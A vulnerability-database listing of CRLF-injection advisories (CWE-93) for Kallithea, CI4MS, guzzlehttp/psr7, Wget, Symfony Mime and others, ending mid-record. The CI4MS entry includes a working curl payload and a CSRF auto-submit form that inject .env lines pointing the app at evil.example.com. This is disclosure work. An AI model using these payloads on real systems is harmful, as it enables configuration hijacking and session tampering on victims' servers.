Common Weakness Enumeration

CWE-93

Allowed

Improper Neutralization of CRLF Sequences ('CRLF Injection')

Abstraction: Base · Status: Draft

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

385 vulnerabilities reference this CWE, most recent first.

GHSA-VFG9-PHJP-9FRW

Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2024-09-27 15:42
VLAI
Summary
Kallithea CRLF injection vulnerability
Details

CRLF injection vulnerability in Kallithea before 0.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the came_from parameter to _admin/login.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "kallithea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-5285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-02T21:07:28Z",
    "nvd_published_at": "2015-10-29T20:59:00Z",
    "severity": "HIGH"
  },
  "details": "CRLF injection vulnerability in Kallithea before 0.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the `came_from` parameter to `_admin/login`.",
  "id": "GHSA-vfg9-phjp-9frw",
  "modified": "2024-09-27T15:42:07Z",
  "published": "2022-05-13T01:26:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5285"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NexMirror/Kallithea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/kallithea/PYSEC-2015-13.yaml"
    },
    {
      "type": "WEB",
      "url": "https://kallithea-scm.org/security/cve-2015-5285.html"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/38424"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/133897/Kallithea-0.2.9-HTTP-Response-Splitting.html"
    },
    {
      "type": "WEB",
      "url": "http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5267.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kallithea CRLF injection vulnerability"
}

GHSA-VFHX-5459-QHQH

Vulnerability from github – Published: 2026-04-08 19:16 – Updated: 2026-04-08 19:16
VLAI
Summary
CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller
Details

Summary

The Install::index() controller reads the host POST parameter without any validation and passes it directly into updateEnvSettings(), which writes it into the .env file via preg_replace(). Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the .env file. The install routes have CSRF protection explicitly disabled, and the InstallFilter can be bypassed when cache('settings') is empty (cache expiry or fresh deployment).

Details

In modules/Install/Controllers/Install.php, the $valData array (lines 13-27) defines validation rules for all POST parameters except host. The host value is read at line 35:

// line 32-41
$updates = [
    'CI_ENVIRONMENT' => 'development',
    'app.baseURL' => '\'' . $this->request->getPost('baseUrl') . '\'',
    'database.default.hostname' => $this->request->getPost('host'),  // NO VALIDATION
    'database.default.database' => $this->request->getPost('dbname'),
    // ...
];

This value is passed to updateEnvSettings() (lines 89-101), which uses preg_replace with the raw value as the replacement string:

// line 94-98
foreach ($updates as $key => $value) {
    $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
    $replacement = "{$key}={$value}";
    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
    else $contents .= PHP_EOL . $replacement;
}

Since the env template has all lines commented out (e.g., # database.default.hostname = localhost), the pattern does not match, and the value is appended verbatim — including any embedded newline characters. This allows injection of arbitrary key=value pairs into .env.

The dbpassword field (line 17) is a secondary vector — its validation (permit_empty|max_length[255]) does not reject newline characters.

Access conditions: - CSRF is explicitly disabled for install routes (InstallConfig.php:7-9), confirmed consumed by Filters.php:220-231,246-251. - InstallFilter (line 13) only blocks when both .env exists and cache('settings') is populated. The endpoint is accessible during fresh install or after cache expiry/clear.

Mitigation note: encryption.key injection is NOT exploitable because generateEncryptionKey() (line 70) runs after updateEnvSettings() and overwrites all encryption.key= lines with a cryptographically random value. However, all other .env settings remain injectable.

PoC

Scenario: Application is deployed but cache has expired (or fresh install window).

# Inject app.baseURL override and disable secure requests via host parameter
# The %0a represents a newline that creates new .env lines
curl -X POST 'http://target/install/' \
  -d 'baseUrl=http://target/&dbname=ci4ms&dbusername=root&dbpassword=&dbdriver=MySQLi&dbpre=ci4ms_&dbport=3306&name=Admin&surname=User&username=admin&password=Password123&email=admin@example.com&siteName=TestSite&host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\Session\Handlers\DatabaseHandler'

Expected result: The .env file will contain:

database.default.hostname=localhost
app.baseURL=http://evil.example.com/
app.forceGlobalSecureRequests=false
session.driver=CodeIgniter\Session\Handlers\DatabaseHandler

These injected lines override the legitimate app.baseURL set earlier (CI4's DotEnv processes top-to-bottom; later values win for putenv), redirect the application base URL to an attacker-controlled domain, and modify session handling.

CSRF exploitation variant (no direct access needed):

<!-- Hosted on attacker site, victim admin visits while cache is empty -->
<form id="f" method="POST" action="http://target/install/">
  <input name="baseUrl" value="http://target/">
  <input name="host" value="localhost&#10;app.baseURL='http://evil.example.com/'">
  <!-- ... other required fields ... -->
</form>
<script>document.getElementById('f').submit();</script>

Impact

An unauthenticated attacker can inject arbitrary configuration into the .env file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:

  • Application URL hijacking — injecting app.baseURL to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure
  • Security downgrade — disabling forceGlobalSecureRequests, CSP, or other security settings
  • Session manipulation — changing session driver or save path configuration
  • Full application reconfiguration — the copyEnvFile() method overwrites the existing .env with the template before applying updates, destroying the current configuration (denial of service)
  • Database redirect — while not via the host injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior

The attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.

Recommended Fix

  1. Add validation for the host parameter — reject newlines and restrict to valid hostnames/IPs:
// In $valData, add:
'host' => ['label' => lang('Install.databaseHost'), 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]'],
  1. Sanitize all values in updateEnvSettings() — strip newlines from replacement strings:
private function updateEnvSettings(array $updates)
{
    $envPath = ROOTPATH . '.env';
    if (!file_exists($envPath)) return ['error' => "'.env' file not found."];
    $contents = file_get_contents($envPath);
    foreach ($updates as $key => $value) {
        $value = str_replace(["\r", "\n"], '', (string) $value);  // Strip CRLF
        $pattern = '/^' . preg_quote($key, '/') . '=.*/m';
        $replacement = "{$key}={$value}";
        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);
        else $contents .= PHP_EOL . $replacement;
    }
    file_put_contents($envPath, $contents);
    return true;
}
  1. Add newline validation to dbpassword — add regex_match[/^[^\r\n]*$/] to the validation rules.

  2. Strengthen InstallFilter — consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.3.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "ci4-cms-erp/ci4ms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39394"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-08T19:16:12Z",
    "nvd_published_at": "2026-04-08T15:16:14Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `Install::index()` controller reads the `host` POST parameter without any validation and passes it directly into `updateEnvSettings()`, which writes it into the `.env` file via `preg_replace()`. Because newline characters in the value are not stripped, an attacker can inject arbitrary configuration directives into the `.env` file. The install routes have CSRF protection explicitly disabled, and the `InstallFilter` can be bypassed when `cache(\u0027settings\u0027)` is empty (cache expiry or fresh deployment).\n\n## Details\n\nIn `modules/Install/Controllers/Install.php`, the `$valData` array (lines 13-27) defines validation rules for all POST parameters **except** `host`. The `host` value is read at line 35:\n\n```php\n// line 32-41\n$updates = [\n    \u0027CI_ENVIRONMENT\u0027 =\u003e \u0027development\u0027,\n    \u0027app.baseURL\u0027 =\u003e \u0027\\\u0027\u0027 . $this-\u003erequest-\u003egetPost(\u0027baseUrl\u0027) . \u0027\\\u0027\u0027,\n    \u0027database.default.hostname\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027host\u0027),  // NO VALIDATION\n    \u0027database.default.database\u0027 =\u003e $this-\u003erequest-\u003egetPost(\u0027dbname\u0027),\n    // ...\n];\n```\n\nThis value is passed to `updateEnvSettings()` (lines 89-101), which uses `preg_replace` with the raw value as the replacement string:\n\n```php\n// line 94-98\nforeach ($updates as $key =\u003e $value) {\n    $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n    $replacement = \"{$key}={$value}\";\n    if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n    else $contents .= PHP_EOL . $replacement;\n}\n```\n\nSince the `env` template has all lines commented out (e.g., `# database.default.hostname = localhost`), the pattern does not match, and the value is appended verbatim \u2014 including any embedded newline characters. This allows injection of arbitrary key=value pairs into `.env`.\n\nThe `dbpassword` field (line 17) is a secondary vector \u2014 its validation (`permit_empty|max_length[255]`) does not reject newline characters.\n\n**Access conditions:**\n- CSRF is explicitly disabled for install routes (`InstallConfig.php:7-9`), confirmed consumed by `Filters.php:220-231,246-251`.\n- `InstallFilter` (line 13) only blocks when **both** `.env` exists **and** `cache(\u0027settings\u0027)` is populated. The endpoint is accessible during fresh install or after cache expiry/clear.\n\n**Mitigation note:** `encryption.key` injection is NOT exploitable because `generateEncryptionKey()` (line 70) runs after `updateEnvSettings()` and overwrites all `encryption.key=` lines with a cryptographically random value. However, all other `.env` settings remain injectable.\n\n## PoC\n\n**Scenario:** Application is deployed but cache has expired (or fresh install window).\n\n```bash\n# Inject app.baseURL override and disable secure requests via host parameter\n# The %0a represents a newline that creates new .env lines\ncurl -X POST \u0027http://target/install/\u0027 \\\n  -d \u0027baseUrl=http://target/\u0026dbname=ci4ms\u0026dbusername=root\u0026dbpassword=\u0026dbdriver=MySQLi\u0026dbpre=ci4ms_\u0026dbport=3306\u0026name=Admin\u0026surname=User\u0026username=admin\u0026password=Password123\u0026email=admin@example.com\u0026siteName=TestSite\u0026host=localhost%0aapp.baseURL=http://evil.example.com/%0aapp.forceGlobalSecureRequests=false%0asession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\u0027\n```\n\n**Expected result:** The `.env` file will contain:\n\n```\ndatabase.default.hostname=localhost\napp.baseURL=http://evil.example.com/\napp.forceGlobalSecureRequests=false\nsession.driver=CodeIgniter\\Session\\Handlers\\DatabaseHandler\n```\n\nThese injected lines override the legitimate `app.baseURL` set earlier (CI4\u0027s DotEnv processes top-to-bottom; later values win for `putenv`), redirect the application base URL to an attacker-controlled domain, and modify session handling.\n\n**CSRF exploitation variant** (no direct access needed):\n\n```html\n\u003c!-- Hosted on attacker site, victim admin visits while cache is empty --\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://target/install/\"\u003e\n  \u003cinput name=\"baseUrl\" value=\"http://target/\"\u003e\n  \u003cinput name=\"host\" value=\"localhost\u0026#10;app.baseURL=\u0027http://evil.example.com/\u0027\"\u003e\n  \u003c!-- ... other required fields ... --\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n```\n\n## Impact\n\nAn unauthenticated attacker can inject arbitrary configuration into the `.env` file when the install endpoint is accessible (fresh deployment or cache expiry). This enables:\n\n- **Application URL hijacking** \u2014 injecting `app.baseURL` to an attacker domain, causing password reset links, redirects, and asset loading to point to attacker infrastructure\n- **Security downgrade** \u2014 disabling `forceGlobalSecureRequests`, CSP, or other security settings\n- **Session manipulation** \u2014 changing session driver or save path configuration\n- **Full application reconfiguration** \u2014 the `copyEnvFile()` method overwrites the existing `.env` with the template before applying updates, destroying the current configuration (denial of service)\n- **Database redirect** \u2014 while not via the `host` injection itself (the host value is a legitimate DB config), injecting additional database config lines can alter connection behavior\n\nThe attack is amplified by the absence of CSRF protection on the install endpoint, allowing exploitation via a malicious webpage visited by anyone on the same network.\n\n## Recommended Fix\n\n1. **Add validation for the `host` parameter** \u2014 reject newlines and restrict to valid hostnames/IPs:\n\n```php\n// In $valData, add:\n\u0027host\u0027 =\u003e [\u0027label\u0027 =\u003e lang(\u0027Install.databaseHost\u0027), \u0027rules\u0027 =\u003e \u0027required|max_length[255]|regex_match[/^[a-zA-Z0-9._-]+$/]\u0027],\n```\n\n2. **Sanitize all values in `updateEnvSettings()`** \u2014 strip newlines from replacement strings:\n\n```php\nprivate function updateEnvSettings(array $updates)\n{\n    $envPath = ROOTPATH . \u0027.env\u0027;\n    if (!file_exists($envPath)) return [\u0027error\u0027 =\u003e \"\u0027.env\u0027 file not found.\"];\n    $contents = file_get_contents($envPath);\n    foreach ($updates as $key =\u003e $value) {\n        $value = str_replace([\"\\r\", \"\\n\"], \u0027\u0027, (string) $value);  // Strip CRLF\n        $pattern = \u0027/^\u0027 . preg_quote($key, \u0027/\u0027) . \u0027=.*/m\u0027;\n        $replacement = \"{$key}={$value}\";\n        if (preg_match($pattern, $contents)) $contents = preg_replace($pattern, $replacement, $contents);\n        else $contents .= PHP_EOL . $replacement;\n    }\n    file_put_contents($envPath, $contents);\n    return true;\n}\n```\n\n3. **Add newline validation to `dbpassword`** \u2014 add `regex_match[/^[^\\r\\n]*$/]` to the validation rules.\n\n4. **Strengthen `InstallFilter`** \u2014 consider checking for a more reliable installation-complete indicator than cache state (e.g., a database table existence check or a dedicated lock file).",
  "id": "GHSA-vfhx-5459-qhqh",
  "modified": "2026-04-08T19:16:12Z",
  "published": "2026-04-08T19:16:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-vfhx-5459-qhqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39394"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ci4-cms-erp/ci4ms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CI4MS Vulnerable to .env CRLF Injection via Unvalidated `host` Parameter in Install Controller"
}

GHSA-VM85-HXW5-5432

Vulnerability from github – Published: 2026-06-19 14:35 – Updated: 2026-06-19 14:35
VLAI
Summary
guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization
Details

Impact

guzzlehttp/psr7 did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with Message::toString() or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through Message::parseRequest() or Message::parseResponse() when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.

Creating or modifying a Request, Response, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by guzzlehttp/guzzle; applications using guzzlehttp/psr7 only through Guzzle's standard HTTP client APIs are not expected to be affected.

Applications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.

Patches

The issue is patched in 2.12.1 and later. Starting in that release, guzzlehttp/psr7 rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.

Workarounds

If you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.

Applications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling Message::parseRequest() or Message::parseResponse(), avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic $_SERVER values, validate REQUEST_METHOD and SERVER_PROTOCOL before calling ServerRequest::fromGlobals().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "guzzlehttp/psr7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55766"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:35:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\n`guzzlehttp/psr7` did not reject CR/LF characters in certain first-party HTTP start-line fields: the request method, protocol version, and response reason phrase. If an application placed attacker-controlled data into one of those fields and later serialized the PSR-7 message as raw HTTP/1.x, for example with `Message::toString()` or an equivalent serializer, the serialized message could contain attacker-controlled header lines. The issue can also be reached through `Message::parseRequest()` or `Message::parseResponse()` when malformed raw messages are parsed into first-party PSR-7 objects and then serialized again.\n\nCreating or modifying a `Request`, `Response`, or other PSR-7 object alone is not sufficient. The issue requires the malformed message to be serialized and written to the network, forwarded, replayed, or otherwise processed by software that does not independently reject the malformed start line. This is not the normal request-sending path used by `guzzlehttp/guzzle`; applications using `guzzlehttp/psr7` only through Guzzle\u0027s standard HTTP client APIs are not expected to be affected.\n\nApplications are most likely to be affected when they manually serialize PSR-7 messages, forward raw HTTP messages, or use custom transports, proxying, crawling, webhook delivery, testing, or similar code. Depending on how downstream HTTP/1.1 components parse the serialized message, this may lead to header injection, response splitting, request smuggling, or cache poisoning.\n\n### Patches\n\nThe issue is patched in `2.12.1` and later. Starting in that release, `guzzlehttp/psr7` rejects CR/LF characters in HTTP method, protocol version, and response reason phrase values before storing them in first-party message objects.\n\n### Workarounds\n\nIf you cannot upgrade immediately, reject CR/LF in untrusted method, protocol version, and reason phrase values before constructing or modifying PSR-7 messages.\n\nApplications that parse, forward, replay, or serialize raw HTTP messages cannot work around the parser entry points by validating only after parsing. They should validate the raw start line before calling `Message::parseRequest()` or `Message::parseResponse()`, avoid reparsing untrusted raw messages, or upgrade. If an application runs with attacker-controlled synthetic `$_SERVER` values, validate `REQUEST_METHOD` and `SERVER_PROTOCOL` before calling `ServerRequest::fromGlobals()`.",
  "id": "GHSA-vm85-hxw5-5432",
  "modified": "2026-06-19T14:35:57Z",
  "published": "2026-06-19T14:35:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/guzzle/psr7/security/advisories/GHSA-vm85-hxw5-5432"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/guzzle/psr7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "guzzlehttp/psr7: CRLF Injection in HTTP Start-Line Serialization"
}

GHSA-VMW7-MXGC-C8QM

Vulnerability from github – Published: 2022-05-17 02:36 – Updated: 2022-05-17 02:36
VLAI
Details

CRLF injection vulnerability in the url_parse function in url.c in Wget through 1.19.1 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the host subcomponent of a URL.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-6508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-07T08:59:00Z",
    "severity": "MODERATE"
  },
  "details": "CRLF injection vulnerability in the url_parse function in url.c in Wget through 1.19.1 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in the host subcomponent of a URL.",
  "id": "GHSA-vmw7-mxgc-c8qm",
  "modified": "2022-05-17T02:36:23Z",
  "published": "2022-05-17T02:36:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6508"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201706-16"
    },
    {
      "type": "WEB",
      "url": "http://git.savannah.gnu.org/cgit/wget.git/commit/?id=4d729e322fae359a1aefaafec1144764a54e8ad4"
    },
    {
      "type": "WEB",
      "url": "http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96877"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VP32-RG8F-2JXG

Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34
VLAI
Details

A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-12477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-09T13:29:00Z",
    "severity": "HIGH"
  },
  "details": "A Improper Neutralization of CRLF Sequences vulnerability in Open Build Service allows remote attackers to cause deletion of directories by tricking obs-service-refresh_patches to delete them. Affected releases are openSUSE Open Build Service: versions prior to d6244245dda5367767efc989446fe4b5e4609cce.",
  "id": "GHSA-vp32-rg8f-2jxg",
  "modified": "2022-05-13T01:34:46Z",
  "published": "2022-05-13T01:34:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12477"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.suse.com/show_bug.cgi?id=1108189"
    },
    {
      "type": "WEB",
      "url": "https://lwn.net/Articles/766535"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VQC8-7275-Q272

Vulnerability from github – Published: 2026-05-27 21:09 – Updated: 2026-05-27 21:09
VLAI
Summary
Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names
Details

Description

Symfony\Component\Mime\Header\ParameterizedHeader (and the related parameter handling reachable from Symfony\Component\Mime\Header\Headers) is responsible for serializing structured headers such as Content-Type and Content-Disposition, which carry key=value parameters (e.g. Content-Disposition: attachment; filename="x").

RFC 2045 / RFC 5322 require parameter names to be tokens: a restricted ASCII subset that excludes whitespace, CR/LF, and the tspecials set. Symfony's parameter handling validates and properly encodes parameter values, but does not validate parameter names: the supplied name is emitted verbatim into the serialized header.

A caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a Content-Disposition parameter name, can include \r\n or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.

Resolution

ParameterizedHeader now rejects parameter names that contain bytes outside the RFC token character class.

The patch for this issue is available here for branch 5.4.

Credits

Symfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/mime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.0"
            },
            {
              "fixed": "6.4.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symfony/symfony"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T21:09:12Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Description\n\n`Symfony\\Component\\Mime\\Header\\ParameterizedHeader` (and the related parameter handling reachable from `Symfony\\Component\\Mime\\Header\\Headers`) is responsible for serializing structured headers such as `Content-Type` and `Content-Disposition`, which carry `key=value` parameters (e.g. `Content-Disposition: attachment; filename=\"x\"`).\n\nRFC 2045 / RFC 5322 require parameter *names* to be `tokens`: a restricted ASCII subset that excludes whitespace, CR/LF, and the `tspecials` set. Symfony\u0027s parameter handling validates and properly encodes parameter *values*, but does not validate parameter *names*: the supplied name is emitted verbatim into the serialized header.\n\nA caller that derives a parameter name from untrusted input, e.g. an application that lets a user influence a `Content-Disposition` parameter name, can include `\\r\\n` or other non-token bytes inside the name, terminating the current header and injecting additional headers in the rendered message. This is the classic CRLF / header-injection primitive applied to the parameter-name slot.\n\n### Resolution\n\n`ParameterizedHeader` now rejects parameter names that contain bytes outside the RFC `token` character class.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/e62ea217f8b4ca8ae922ad0f949e0c4dc1f9b613) for branch 5.4.\n\n### Credits\n\nSymfony would like to thank Fabian Fleischer for reporting the issue and Alexandre Daubois for fixing it.",
  "id": "GHSA-vqc8-7275-q272",
  "modified": "2026-05-27T21:09:12Z",
  "published": "2026-05-27T21:09:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/symfony/symfony/security/advisories/GHSA-vqc8-7275-q272"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/mime/CVE-2026-45070.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symfony/symfony/CVE-2026-45070.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/symfony/symfony"
    },
    {
      "type": "WEB",
      "url": "https://symfony.com/cve-2026-45070"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Symfony has Email Header Injection via Non-Token Characters in Mime Parameter Names"
}

GHSA-VQFG-JWCG-58WW

Vulnerability from github – Published: 2026-05-17 18:30 – Updated: 2026-05-18 15:30
VLAI
Details

Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.

The metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-46720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-93"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-17T18:16:27Z",
    "severity": "HIGH"
  },
  "details": "Net::Statsd::Tiny versions before 0.3.8 for Perl allowed metric injections.\n\nThe metric names and set values were not checked for newlines, colons or pipes. Metrics generated from untrusted sources could inject additional statsd metrics.",
  "id": "GHSA-vqfg-jwcg-58ww",
  "modified": "2026-05-18T15:30:37Z",
  "published": "2026-05-17T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46720"
    },
    {
      "type": "WEB",
